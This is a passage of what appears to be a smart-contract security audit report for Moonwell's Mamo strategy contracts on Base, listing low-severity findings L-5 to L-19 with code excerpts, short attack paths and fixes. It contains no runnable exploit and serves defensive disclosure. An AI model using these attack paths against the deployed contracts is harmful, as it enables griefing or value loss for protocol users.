Source: `_getTotalBalance()` in `MamoMultiMarketStrategy.sol`

```
uint256 shares = IERC4626(regMarkets[i].target).balanceOf(address(this));
if (shares > 0) {
    // audit-bug: this quote excludes the vault's exit fee
    total += IERC4626(regMarkets[i].target).convertToAssets(shares);
}
```

`withdraw()` later requests an exact asset amount from each ERC4626 market. An exit fee raises the shares needed for that request. A near-full withdrawal can therefore pass the gross-value check and then revert because the strategy does not own enough shares.

Attack Path

1. The strategy holds 100 shares in an ERC4626 vault and no idle assets.
2. `convertToAssets(100)` returns 100 assets, while `previewRedeem(100)` returns 99 after the exit fee.
3. The owner calls `withdraw(100)`. The balance check passes.
4. The strategy asks the vault for 100 assets. The fee makes this require more than 100 shares, so the vault call reverts.

Impact

This affects only ERC4626 markets that charge an exit fee. Withdrawal requests above the net redeemable value and at or below the gross converted value revert. No funds are lost because the owner can request less or use `withdrawAll()`, which redeems the available shares.

Mitigation

Use `previewRedeem(shares)` when adding ERC4626 positions to `_getTotalBalance()`. This makes the withdrawal check use the fee-adjusted value of the strategy's shares.

Issue L-5: Configured reward tokens can fail CowSwap approval [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/39>

Summary

`isRewardToken()` checks unrelated legacy state instead of token-pair configuration, so a configured reward pair can still fail the approval needed for CowSwap.

Root cause

`SlippagePriceChecker` stores current oracle configuration by token pair. `addTokenConfiguration()` updates only `tokenPairOracleData`.

Source: `addTokenConfiguration()` in `SlippagePriceChecker.sol`

```
delete tokenPairOracleData[fromToken][toToken];

for (uint256 i = 0; i < configurations.length; i++) {
    require(configurations[i].chainlinkFeed != address(0), "Invalid chainlink feed
    ↪ address");
    require(configurations[i].heartbeat > 0, "Heartbeat must be greater than 0");
    // audit-note: the current pair configuration is stored here
    tokenPairOracleData[fromToken][toToken].push(configurations[i]);
}
```

The deprecated `isRewardToken()` does not read that mapping. It treats the separate `maxTimePriceValid` value as a reward-token flag, although pair heartbeats now control price freshness.

Source: `isRewardToken()` in `SlippagePriceChecker.sol`

```
// @dev DEPRECATED: This function cannot determine reward tokens in the new token
↪ pair model
function isRewardToken(address token) external view override returns (bool) {
    // audit-bug: this value does not prove that any current pair is configured
    return maxTimePriceValid[token] > 0;
}
```

Both `MamoMultiMarketStrategy._approveCowSwap()` and `LPCompoundModule.approveCowSwap()` use this result to gate the relayer allowance. The main reward-token setup helper configures pairs without setting the legacy value.

Attack Path

1. The checker owner configures a reward-token pair with `addTokenConfiguration()`.
2. `maxTimePriceValid` remains zero because pair configuration does not update it.
3. A factory initializes `MamoMultiMarketStrategy`, or the LP module admin calls `approveCowSwap()`.
4. `isRewardToken()` returns false, the call reverts with "Token not allowed", and the CowSwap relayer receives no allowance.

Impact

Valid oracle-pair configuration can still leave reward swaps unusable. Multi-market strategy creation reverts when initialization approves its reward tokens, while the LP module cannot compound AERO until the checker owner makes a separate legacy-state update. The owner can restore service by calling `setMaxTimePriceValid()`, so this is an operational availability issue rather than a loss of funds.

Mitigation

Remove `isRewardToken()` usage from downstream.

Issue L-6: Reward swaps can be underpriced after a Base sequencer outage [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/40>

Summary

`getExpectedOutFromChainlink()` does not check Base sequencer status or wait after recovery, so a live CowSwap order can settle against a pre-outage price before the feed refreshes.

Root cause

The production deployment targets Base chain ID 8453 and uses WELL/USD and MORPHO/USD. The WETH and cbBTC strategy configurations also use ETH/USD and BTC/USD. `getExpectedOutFromChainlink()` accepts any positive answer whose timestamp is nonzero and within the configured heartbeat. It never reads the Base sequencer uptime feed or waits after recovery.

Source: `getExpectedOutFromChainlink()` in `SlippagePriceChecker.sol`

```
(, int256 answer,, uint256 updatedAt,) = _priceFeed.latestRoundData();

require(answer > 0, "Chainlink price cannot be lower or equal to 0");
require(updatedAt != 0, "Round is in incompleted state");

// audit-bug: Base sequencer status and the post-recovery grace period are not
↪ checked.
require(block.timestamp <= updatedAt + _heartbeats[_i], "Price feed update time
↪ exceeds heartbeat");
```

At review time, all four underlying OCR2 aggregators reported `minAnswer = 1` and `maxAnswer = 2176 - 1`. These are effectively representational limits rather than useful market bounds. A later proxy upgrade to an aggregator with active finite bounds would create another failure mode: the checker would treat a saturated boundary answer as a valid market price because it has no feed-specific reasonable range.

Attack Path

1. A strategy creates a reward-token sell order that remains valid for up to one hour.
2. The Base sequencer goes down and the relevant market price rises while the feed cannot publish a new L2 answer.

3. Once Base resumes, an authorized solver settles before the feed refreshes. The pre-outage answer still passes its heartbeat and the order has at least five minutes of validity left.
4. `isValidSignature()` accepts the stale price, letting the solver buy the reward tokens below their current market value.

Impact

The strategy sells its reward tokens below fair value. The loss is the price gap that developed during the outage, applied to the approved `sellAmount`. The configured slippage does not cap it because the contract measures slippage against the stale answer. This requires a live order, an outage short enough for the order to remain valid, and settlement before the relevant feed refreshes.

Mitigation

Add the Base sequencer uptime feed to the checker. Require the sequencer to be up and a configured grace period to have elapsed before reading prices. Also reject future timestamps and store a reasonable price range for each feed or pair. Review those ranges whenever a proxy changes aggregator instead of relying on its `minAnswer` and `maxAnswer`.

Issue L-7: Backend role changes can silently replace the strategy operator [RESOLVED]

Source: <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/41>

Summary

`getBackendAddress()` treats index zero of an unordered role set as the strategy operator, so revoking that member can silently transfer operator permissions to another `BACKEND_ROLE` member.

Root cause

`BACKEND_ROLE` is shared by the strategy operator and factories that need to call `addStrategy()`. `getBackendAddress()` assumes the first enumerable member is the operator, but OpenZeppelin's `EnumerableSet` does not preserve order. When index zero is removed, `swap` and `pop` moves the last role member into that slot.

Source: `getBackendAddress()` in `MamoStrategyRegistry.sol`

```
function getBackendAddress() external view returns (address) {
    // audit-bug: index zero has no stable identity
    return getRoleMember(BACKEND_ROLE, 0);
}
```

Strategy contracts compare callers directly with this address for `updatePosition()`, `claimRewards()`, `setFeeRecipient()`, `migrateV1ToMarketRegistry()`, and `depositIdle()`.

Attack Path

1. The registry grants `BACKEND_ROLE` to the strategy operator and several factories.
2. The admin revokes the member currently at index zero during a backend rotation.
3. OpenZeppelin moves the last role member, potentially a factory, into index zero.
4. Strategy contracts reject the intended operator and recognize the moved member instead.

Impact

Backend rotation can halt position updates and other backend operations when the selected member cannot call the strategy functions. If that member can make arbitrary calls, it instead gains the operator-only permissions.

Mitigation

Store the strategy operator in a dedicated address with an explicit admin setter. Keep factory registration permissions in a separate role and do not derive a privileged identity from enumerable-set ordering.

Issue L-8: ID collisions can disable strategy deployments [ACKNOWLEDGED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/42>

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

Explicit strategy type IDs do not advance the automatic ID counter, so a later automatic registration can overwrite the type's latest implementation and disable deployments that use the earlier implementation.

Root cause

`whitelistImplementation()` increments `nextStrategyTypeId` only for automatic assignments. An explicit assignment can therefore occupy the next automatic ID without moving the counter. The next automatic registration reuses that ID and overwrites `latestImplementationById`.

Source: `whitelistImplementation()` in `MamoStrategyRegistry.sol`

```
if (strategyTypeId == 0) {
    assignedStrategyTypeId = nextStrategyTypeId++;
} else {
    // audit-bug: explicit assignments do not advance the automatic counter
    assignedStrategyTypeId = strategyTypeId;
}

implementationToId[implementation] = assignedStrategyTypeId;
latestImplementationById[assignedStrategyTypeId] = implementation;
```

Attack Path

1. Automatic registrations use IDs 1, 2, and 3, leaving `nextStrategyTypeId` at 4.
2. The admin explicitly registers implementation A with ID 4. The counter remains 4.
3. The admin later registers implementation B with ID 0. The function assigns ID 4 and replaces `latestImplementationById[4]` with B.
4. Implementation A remains whitelisted and mapped to ID 4, but it is no longer the latest implementation for that ID.

Impact

Factories using implementation A can no longer register new strategies because `addStrategy()` requires the proxy implementation to equal `latestImplementationById`. Existing A proxies also treat B as their only valid upgrade target even if B belongs to another strategy family. No upgrade is forced, but selecting B may break proxy behavior or storage.

Mitigation

When an explicit ID is at least `nextStrategyTypeId`, advance the counter to that ID plus one. Automatic allocation should also skip IDs whose `latestImplementationById` entry is already occupied.

Issue L-9: Factory default slippage has no effect on created strategies [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/43>

Summary

MamoStakingStrategyFactory accepts and stores a default slippage value but never passes it to new strategies, so the strategies can use a different default from the one configured on the factory.

Root cause

createStrategyForUser() omits defaultSlippageInBps when it initializes a strategy. InitParams has no field for it.

Source: [createStrategyForUser\(\)](#) in MamoStakingStrategyFactory.sol

```
MamoStakingStrategy(payable(strategy)).initialize(
    MamoStakingStrategy.InitParams({
        mamoStrategyRegistry: mamoStrategyRegistry,
        stakingRegistry: stakingRegistry,
        multiRewards: multiRewards,
        mamoToken: mamoToken,
        strategyTypeId: strategyTypeId,
        owner: user
    })
);
```

The strategy's account slippage starts at zero, so getAccountSlippage() reads the default from MamoStakingRegistry instead of the factory.

Source: [getAccountSlippage\(\)](#) in MamoStakingStrategy.sol

```
function getAccountSlippage() public view returns (uint256) {
    return accountSlippageInBps > 0 ? accountSlippageInBps :
        ↪ stakingRegistry.defaultSlippageInBps();
}
```

Attack Path

1. A factory is deployed with a default slippage that differs from its staking registry's default.
2. The factory creates a strategy without passing its default slippage.

3. The strategy uses the staking registry's value when calculating the minimum output for reward swaps.

Impact

The factory's advertised default cannot be enforced. If the registry default is higher, reward swaps accept a lower minimum output than intended. If it is lower, valid compounding transactions can revert. The current deployment scripts set both defaults to the same value, so the issue appears when these settings diverge.

Mitigation

Remove `defaultSlippageInBps` from the factory and use the staking registry as the only default. If factory-specific defaults are required, add the value to `InitParams` and initialize explicit strategy state from it.

Issue L-10: Implementation contracts can be claimed by any account [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/44>

Summary

Missing initializer locks let the first caller own the MamoMultiMarketStrategy and SlippagePriceChecker implementations. The caller can then change implementation-local state and recover assets sent directly to the strategy implementation.

Root cause

Both contracts expose an initializer on the implementation without disabling it in a constructor.

Source: [MamoMultiMarketStrategy.initialize\(\)](#)

```
function initialize(InitParams calldata params) external initializer {
```

The function later passes the caller-supplied `params.owner` to `__BaseStrategy_init()`. `SlippagePriceChecker.initialize()` has the same issue.

Source: [SlippagePriceChecker.initialize\(\)](#)

```
function initialize(address _owner) external initializer {
    __Ownable_init(_owner);
    __UUPSUpgradeable_init();
}
```

The owner of the strategy implementation can call the inherited `recoverERC20()` and `recoverETH()`.

Source: [BaseStrategy.recoverERC20\(\)](#)

```
function recoverERC20(address tokenAddress, address to, uint256 amount) external
↳ onlyOwner {
    require(to != address(0), "Cannot send to zero address");
    require(amount > 0, "Amount must be greater than 0");

    IERC20(tokenAddress).safeTransfer(to, amount);

    emit TokenRecovered(tokenAddress, to, amount);
}
```

Impact

The implementation contracts can be claimed. ERC20 tokens or ETH mistakenly sent to the `MamoMultiMarketStrategy` implementation can be taken by the first initializer. Proxy storage and user funds are unaffected.

Mitigation

Add a constructor that calls `_disableInitializers()` to both implementations. Continue initializing each proxy atomically when it is deployed.

Issue L-11: The backend cannot whitelist strategy implementations [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/45>

Summary

`whitelistImplementation()` requires `DEFAULT_ADMIN_ROLE`, although the specification assigns this operation to `BACKEND_ROLE`.

Root cause

The constructor grants `DEFAULT_ADMIN_ROLE` and `BACKEND_ROLE` to separate parameters. The registry specification says the backend can whitelist implementations, but the function checks the admin role.

Source: `whitelistImplementation()` in `MamoStrategyRegistry.sol`

```
function whitelistImplementation(address implementation, uint256 strategyTypeId)
    external
    onlyRole(DEFAULT_ADMIN_ROLE) // audit-bug: The specification assigns this
    ↪ operation to BACKEND_ROLE.
    returns (uint256 assignedStrategyTypeId)
```

Impact

The documented backend workflow does not work. New strategy deployments and implementation rollouts can be delayed by the admin multisig and its timelock. This mismatch does not create a direct loss of funds or give the admin a new privilege because the admin already controls role assignments.

Mitigation

If the backend should manage the whitelist, use `onlyRole(BACKEND_ROLE)`. If admin approval is intentional, update the specification and operational documentation to describe the admin and timelock flow.

Issue L-12: The swap deadline in compound() provides no protection [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/50>

Summary

MamoStakingStrategy.compound() builds its swap with deadline: `block.timestamp + 300`. The deadline is computed during the same call that executes the swap, so it is always satisfied by construction and offers no protection against delayed inclusion.

Vulnerability Detail

compound() claims rewards and swaps each of them to MAMO through the configured router. The deadline it passes is derived from the block that is already executing the swap:

```
ISwapRouter.ExactInputSingleParams memory swapParams =
↪ ISwapRouter.ExactInputSingleParams({
    tokenIn: address(rewardToken),
    tokenOut: address(mamoToken),
    tickSpacing: tickSpacing,
    recipient: address(this),
    deadline: block.timestamp + 300,
    amountIn: rewardBalance,
    amountOutMinimum: amountOutMinimum,
    sqrtPriceLimitX96: 0 // No price limit
});

// Execute swap and capture actual amount out
uint256 actualAmountOut = dexRouter.exactInputSingle(swapParams);
```

A deadline is meant to bound the gap between the moment the caller decided to trade and the moment the trade is included on chain. That requires the value to be fixed before the transaction is broadcast, either supplied by the caller or read from stored configuration. Here it is read from `block.timestamp` inside the executing transaction, so the router's `require(block.timestamp <= deadline)` reduces to `require(block.timestamp <= block.timestamp + 300)`, which holds in every block. The `+ 300` has no effect on any execution path.

The consequence is that a `compound()` transaction sitting in the mempool stays valid indefinitely. If it is not included promptly, whether from a low gas price, congestion, or deliberate withholding by a builder, it remains executable and will eventually run against whatever market conditions exist at that later time.

Impact

`compound()` carries no execution-time bound. A stale transaction executes whenever it is finally included, and the trade is priced against the oracle at that later moment rather than the one the backend evaluated. The reward tokens are swapped at conditions the caller never approved.

The loss is bounded by `accountSlippage` against the oracle price at inclusion time, so this is not an unbounded drain, and it requires a delayed transaction rather than an active exploit.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoStakingStrategy.sol#L231-L245>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/MamoStakingStrategy.sol#L225-L226>

Tool Used

Manual Review

Recommendation

Take the deadline from the caller so it is fixed before broadcast, matching the pattern already used in `LPPositionLib`:

```
-function compound() external onlyBackend {  
+function compound(uint256 deadline) external onlyBackend {  
+    require(deadline >= block.timestamp, "Deadline passed");  
    multiRewards.getReward();
```

Issue L-13: Permissionless claimEmissions() forfeits rewards on Aerodrome gauges that charge an early-claim penalty [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/52>

Summary

Aerodrome's current Slipstream CLGauge charges a penalty on rewards claimed before a minimum stake time has elapsed, and forwards the penalised amount to the minter rather than the staker. LPAutoBalancerV2.claimEmissions() is permissionless, so on such a gauge any address can force a claim inside the penalty window and burn the position's accrued AERO. The same window is re-entered on every rebalance, because each rebalance mints a new NFT and deposits it, resetting the gauge's depositTimestamp.

Note: not exploitable against the currently configured pool and gauge. The WETH/cbBTC gauge 0x41b2126661C673C2beDd208cC72E85DC51a5320a runs an implementation that does not contain the penalty code, and the position manager the contract is bound to cannot reach the gauges that do. This is a forward-looking finding that becomes live if the strategy is redeployed against Aerodrome's current CL stack. See the Impact section for the full reachability analysis.

Vulnerability Detail

claimEmissions() has no access control and calls the gauge directly:

```
function claimEmissions() external whenNotPaused nonReentrant {
    ManagedPositionV2 storage p = position;
    if (!p.active) revert NotActive();
    if (!p.mainStaked) revert NotStaked();
    uint256 aeroBefore = IERC20(AERO).balanceOf(address(this));
    ICLGauge(p.gauge).getReward(p.mainTokenId);
    if (p.altStaked && p.altTokenId != 0) {
        ICLGauge(p.gauge).getReward(p.altTokenId);
    }
    ...
}
```

Aerodrome added the penalty to CLGauge on 2026-04-10 in commit [618c88df](<https://github.com/aerodrome-finance/slipstream/commit/618c88df>) ("feat: gauge unstake"). Every payout path runs through _getReward:

```

function _getReward(int24 tickLower, int24 tickUpper, uint256 tokenId, address
↪ owner) internal {
    _updateRewards(tokenId, tickLower, tickUpper);

    uint256 reward = rewards[tokenId];

    if (reward > 0) {
        delete rewards[tokenId];
        uint256 penalty = _applyPenalty(reward, tokenId);
        if (penalty > 0) {
            reward -= penalty;
            TransferHelper.safeTransfer(rewardToken, minter, penalty);
            emit EarlyWithdrawPenalty(owner, tokenId, penalty);
        }
        if (reward > 0) {
            TransferHelper.safeTransfer(rewardToken, owner, reward);
            emit ClaimRewards(owner, reward);
        }
    }
}

function _applyPenalty(uint256 reward, uint256 tokenId) internal view returns
↪ (uint256 penalty) {
    uint256 _penaltyRate = gaugeFactory.penaltyRate();
    if (_penaltyRate > 0 && block.timestamp < depositTimestamp[tokenId] +
↪ gaugeFactory.minStakeTimes(address(pool)))
    {
        penalty = reward * _penaltyRate / MAX_BPS;
    }
}

```

`minStakeTimes` is set per pool by the factory's emission admin and is capped at 1 week. If it is ever configured above the strategy's rebalance cadence, the position spends its whole life inside the penalty window and every payout path forfeits in full, with no attacker involved.

Impact

On a gauge that has the penalty enabled, any address can call `claimEmissions()` at a moment of its choosing and cause the accrued AERO to be transferred to the minter instead of `feeCollector`. The attacker needs no position, no approval and no capital, and gains nothing, so this is griefing rather than theft. The loss is bounded by the AERO accrued since the last claim, which at the current 10 to 30 second `minStakeTime` values is small.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L511-L529> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L863-L875> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L430-L442> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L362-L373> <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L76>

Tool Used

Manual Review

Recommendation

Remove the caller's control over the claim timestamp by gating `claimEmissions()`:

```
- function claimEmissions() external whenNotPaused nonReentrant {  
+ function claimEmissions() external onlyRole(REBALANCER_ROLE) whenNotPaused  
↪ nonReentrant {
```

Issue L-14: Rebalances can use pre-outage prices after Base sequencer recovery [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/55>

Summary

`readFeed()` has no Base sequencer or recovery grace check, so it can accept pre-outage prices when valuing the balancer's WETH and cbBTC holdings.

Root cause

`readFeed()` accepts any positive answer no older than `maxOracleDelay`. The balancer initializes this delay to 26 hours, so a report published before a shorter Base outage remains acceptable as soon as the sequencer resumes. Every principal and loose-balance valuation used by the rebalance value floor reaches this function.

Source: `readFeed()` in `LPValuationLib.sol`

```
function readFeed(address feed, uint256 maxOracleDelay) public view returns
↳ (uint256 price, uint8 decimals) {
    // audit-bug: No sequencer status or recovery grace period is checked.
    (, int256 answer,, uint256 updatedAt,) = IPriceFeed(feed).latestRoundData();
    if (answer <= 0) revert StaleOracle();
    if (updatedAt > block.timestamp) revert StaleOracle();
    if (block.timestamp - updatedAt > maxOracleDelay) revert StaleOracle();
}
```

Attack Path

1. The Base sequencer goes down while the WETH/BTC market ratio changes. The feeds retain their last pre-outage reports.
2. The sequencer resumes before those reports exceed `maxOracleDelay`. A `REBALANCER_ROLE` caller starts a swap rebalance without waiting for a recovery grace period.
3. The value floor uses the old relative prices. It can understate a loss from the changed token mix, or a feed update between `unwindForSwap()` and `rebuildAfterSwap()` can make a sound rebuild revert.

Impact

The configured rebalance loss limit is unreliable immediately after a sequencer outage. A stale-priced execution can lose more value than the floor reports. In the other

direction, principal can remain loose and unstaked until a later rebuild or an admin exit. The role restriction and the documented off-chain grace check reduce the likelihood, so the impact is low.

Mitigation

Read the Base sequencer uptime feed and reject price reads while it is down and during a recovery grace period.

Issue L-15: Accrued LP fees bypass the fee collector during staking [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/56>

Summary

`stake()` leaves fees collected by the gauge in `LPAutoBalancerV2`, so `feeCollector` does not receive the unstaked LP fees owed to it.

Root cause

Slipstream's `CLGauge.deposit()` collects all fees accrued before staking with `recipient` set to `msg.sender`. When `LPAutoBalancerV2` calls the gauge, the balancer is that recipient.

`stake()` deposits each NFT without calling `_skimFees()` first or forwarding the `token0` and `token1` received from `deposit()`.

Source: `stake()` in `LPAutoBalancerV2.sol`

```
POSITION_MANAGER.approve(p.gauge, p.mainTokenId);
// audit-bug: deposit() collects pending fees to this contract without forwarding
// → them.
ICLGauge(p.gauge).deposit(p.mainTokenId);
p.mainStaked = true;
if (p.altTokenId != 0) {
    POSITION_MANAGER.approve(p.gauge, p.altTokenId);
    ICLGauge(p.gauge).deposit(p.altTokenId);
    p.altStaked = true;
}
```

Attack Path

1. The main or alt NFT accrues `token0` or `token1` fees while unstaked, either before `registerPosition()` or after `unstake()`.
2. The rebalancer calls `stake()` before anyone calls `collectFees()`.
3. `CLGauge.deposit()` collects the pending fees to `LPAutoBalancerV2` and takes custody of the NFT.
4. The fees remain as loose balances. A later rebalance can mint them as strategy principal, while `exit()` can transfer them with principal to its recipient.

Impact

`feeCollector` can miss 100% of the LP fees that remain uncollected when either NFT is staked. The tokens remain under strategy control, but they can be treated as principal or exit proceeds instead of funding the intended fee drop.

Mitigation

Call `_skimFees()` for each NFT immediately before `deposit()`.

Issue L-16: Slipstream tick spacing is declared as a fee [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/57>

Summary

`INonfungiblePositionManager.positions()` declares its fifth return field as `uint24 fee`, but Aerodrome Slipstream returns `int24 tickSpacing` in that slot.

Root cause

The local interface uses the wrong name and signedness for the fifth position field.

Source: `positions()` in `INonfungiblePositionManager.sol`

```
function positions(uint256 tokenId)
    external
    view
    returns (
        uint96 nonce,
        address operator,
        address token0,
        address token1,
        uint24 fee, // audit-bug: Slipstream returns int24 tickSpacing here.
        int24 tickLower,
        int24 tickUpper,
        uint128 liquidity,
        uint256 feeGrowthInside0LastX128,
        uint256 feeGrowthInside1LastX128,
        uint128 tokensOwed0,
        uint128 tokensOwed1
    );
```

Aerodrome's canonical interface declares this output as `int24 tickSpacing`. `validatePoolAndNft()` already treats the fifth word as spacing and casts its configured `int24 spacing` to `uint24`. The current comparison works because the pool spacings used here are positive, whose signed and unsigned ABI words are identical. The local declaration is still semantically wrong.

Impact

No real impact, just a coding glitch.

Mitigation

Declare the fifth return field as `int24 tickSpacing` and compare it directly with `spacing`.

Issue L-17: Position readers receive burned NFT IDs during swap rebalances [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/58>

Summary

`_exitAll()` burns the managed NFTs without clearing their stored IDs, so `position()` returns nonexistent NFT references until the two-step swap rebalance is completed or aborted.

Root cause

`_exitAll()` stores the current IDs in local variables and burns the NFTs after withdrawing their liquidity. It does not clear `p.mainTokenId` or `p.altTokenId`.

Source: `_exitAll()` in `LPAutoBalancerV2.sol`

```
uint256 mainId = p.mainTokenId;
uint256 altId = p.altTokenId;

// audit-note: Liquidity is removed before the NFTs are burned.
POSITION_MANAGER.burn(mainId);
if (altId != 0) POSITION_MANAGER.burn(altId);
// audit-bug: The storage fields still contain mainId and altId.
```

`exit()` clears both IDs later in the same transaction, and `rebalanceUsingAlt()` replaces them before returning. The inconsistency persists only after `unwindForSwap()`, which returns after teardown and leaves `position.active` set while it waits for `rebuildAfterSwap()` in a later transaction.

Because `position` is public, its getter exposes the burned IDs during that window. `getDecisionSnapshot()` avoids the problem by skipping position manager reads while the rebalance is in flight.

Attack Path

1. An authorized rebalancer calls `unwindForSwap()`.
2. `_exitAll()` burns the main NFT and any alt NFT, but their IDs remain in storage when `unwindForSwap()` returns.
3. Before `rebuildAfterSwap()` or `exit()` runs, a client calls `position()` and receives `active == true` with the burned token IDs.

4. The client displays stale position data or uses an ID in `POSITION_MANAGER.positions()`, which reverts for a burned NFT.

Impact

Interfaces and indexers that rely on `position()` can show burned NFTs as managed or fail when they query those NFTs. No principal or permissions are affected: `getDecisionSnapshot()` remains available, `rebalanceInFlight()` identifies the window, and `rebuildAfterSwap()` or `exit()` corrects the IDs.

Mitigation

Set `p.mainTokenId` and `p.altTokenId` to zero at the end of `_exitAll()` after copying them into local variables; rebuild callers already write the new IDs.

Issue L-18: A single `maxOracleDelay` is shared by both price feeds in `LPAutoBalancerV2` [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/60>

Summary

`LPAutoBalancerV2` holds one contract-level `maxOracleDelay` and applies it to both `oracle0` and `oracle1`, so two feeds with different heartbeats cannot both be bounded correctly.

Vulnerability Detail

`valueInUsd()` receives a single `maxOracleDelay` and passes that same value to `readFeed(oracle0, ...)` and `readFeed(oracle1, ...)`. The value comes from one contract-wide storage variable, not from the position and not from either feed.

The delay must be set to at least the slower feed's heartbeat plus a buffer. Anything lower and that feed's normal update cadence trips `StaleOracle`, which blocks every valuation path in the contract. The constructor picks 26 hours, sized for a feed with a 24 hour heartbeat. Whatever the other feed's heartbeat is, its answers are then accepted up to 26 hours old, far past the age its own publishing schedule treats as valid.

The paths that suffer are the ones comparing the two legs against each other. `_mainRange()` uses `value0` against `value1` to choose between a spot centered straddle and a single sided main, and to pick which side of spot to place it. `_mintAlt()` uses the same comparison to choose which leg the alt parks. A stale answer on one leg while the other is fresh skews that comparison directly, so the position can be built on the wrong side of the market. The `unwindForSwap()` and `rebuildAfterSwap()` value floor is also exposed, because a swap changes the token mix between the two snapshots and a mispriced leg does not cancel out.

Additionally, the 26 hours staleness does not seem to match the `cbBTC` and `WETH` heartbeats on base which are 20 minutes.

Impact

Leg selection and main range placement can be decided from a price that the feed's own schedule considers dead, which puts the position on the wrong side of spot until the next rebalance corrects it. The swap rebalance value floor measures execution quality less accurately in both directions.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/libraries/LPValuationLib.sol#L46-L54>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L237>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L1279-L1280>

Tool Used

Manual Review

Recommendation

Store a delay per feed on the position and pass each one to its own `readFeed()` call, matching the per feed heartbeat already used by `SlippagePriceChecker`.

```
struct ManagedPositionV2 {
    ...
    address oracle0;
    address oracle1;
+   uint256 maxOracleDelay0;
+   uint256 maxOracleDelay1;
    ...
}
```

```
function valueInUsd(
    uint256 amount0,
    uint256 amount1,
    address oracle0,
    address oracle1,
    uint8 dec0,
    uint8 dec1,
-   uint256 maxOracleDelay
+   uint256 maxOracleDelay0,
+   uint256 maxOracleDelay1
) public view returns (uint256 usd) {
    if (amount0 > 0) {
-       (uint256 p0, uint8 fd0) = readFeed(oracle0, maxOracleDelay);
+       (uint256 p0, uint8 fd0) = readFeed(oracle0, maxOracleDelay0);
        usd += FullMath.mulDiv(amount0, p0, 10 ** dec0) * (10 ** 8) / (10 ** fd0);
    }
    if (amount1 > 0) {
```

```
-      (uint256 p1, uint8 fd1) = readFeed(oracle1, maxOracleDelay);
+      (uint256 p1, uint8 fd1) = readFeed(oracle1, maxOracleDelay1);
      usd += FullMath.mulDiv(amount1, p1, 10 ** dec1) * (10 ** 8) / (10 ** fd1);
    }
}
```

Issue L-19: Loose value can rise between swap-rebalance steps as AERO compound proceeds settle, loosening the value floor [RESOLVED]

Source: <https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/61>

Summary

AERO-compound CowSwap orders deliver token0/token1 to the balancer with no restriction on when they settle. Proceeds that land between `unwindForSwap()` and `rebuildAfterSwap()` raise the contract's loose balance, so `valueAfter` grows while both floor snapshots stay fixed at their unwind values, and the rebuild value floor is loosened by the full settled amount.

Vulnerability Detail

The swap rebalance spans two transactions. `unwindForSwap()` snapshots the floor baseline (`valueBeforePos` and `looseBefore`), and `rebuildAfterSwap()` computes `valueAfter` from everything the contract currently holds – new positions plus loose balances – and requires it to clear the baseline less `maxRebalanceLossBps` + `swapLossAllowanceBps`.

The compound module validates AERO → token0/token1 orders that deliver to the balancer (`receiver == balancer`), and unlike the principal-rebalance order class, this class carries no `rebalanceInFlight` condition. A compound order can therefore settle between the two rebalance steps. Its proceeds arrive as loose token0/token1, inflating `valueAfter` without inflating either snapshot. The floor check gains headroom equal to the settled proceeds, so a principal swap that lost more than the configured tolerance can still pass, with the compound proceeds silently absorbing the difference.

Impact

The value floor – the backstop for the CowSwap round trip – is weakened by whatever compound proceeds settle mid-window: a loss beyond `maxRebalanceLossBps` + `swapLossAllowanceBps` passes undetected, and the compound share of emissions absorbs the loss instead of folding into principal.

